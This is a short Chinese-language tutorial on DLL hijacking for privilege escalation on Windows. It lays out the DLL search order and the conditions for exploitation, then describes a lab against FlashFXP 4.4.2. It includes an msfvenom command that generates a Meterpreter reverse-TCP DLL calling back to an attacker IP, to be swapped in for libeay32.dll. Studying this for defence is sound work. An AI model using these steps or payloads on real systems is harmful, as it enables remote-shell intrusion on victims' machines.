DLL注入提权
Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
应用程序加载的目录
C:\Windows\System32
C:\Windows\System
C:\Windows
当前工作目录Current Working Directory,CWD
在PATH环境变量的目录(先系统后用户)
这样的加载顺序很容易导致一个系统dll被劫持,因为只要攻击者将目标文件和恶意dll放在一起即可,导致恶意dll先于系统dll加载,而系统dll是非常常见的,所以当时基于这样的加载顺序,出现了大量受影响软件。
参考文章:DLL劫持原理及其漏洞挖掘(一) - 安全客,安全资讯平台
》》》利用条件《《《
技术比较鸡肋,需要满足以下条件才能成功...
- 这个软件可以被利用
- 有权限替换dll文件
- 受害者会运行与这个dll文件相关的软件
FlashFXP DLL劫持
利用思路:通过webshell进行信息收集,制作dll木马并上传,替换dll,启动应用后成功反弹shell.....
实验环境
操作系统 |
软件/角色 |
Wins08R2 |
FlashFXP 4.4.2绿色版/受害机 |
Kali 2022 |
MSF/攻击机 |
步骤一:通过火绒剑分析FlashFXP程序的DLL,找到非系统DLL文件就可以退出FlashFXP程序....
步骤二:使用MSF生成恶意的DLL文件并替换FlashFXP中的源文件....libeay32.dll
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.113 lport=5555 -f dll >./hack.dll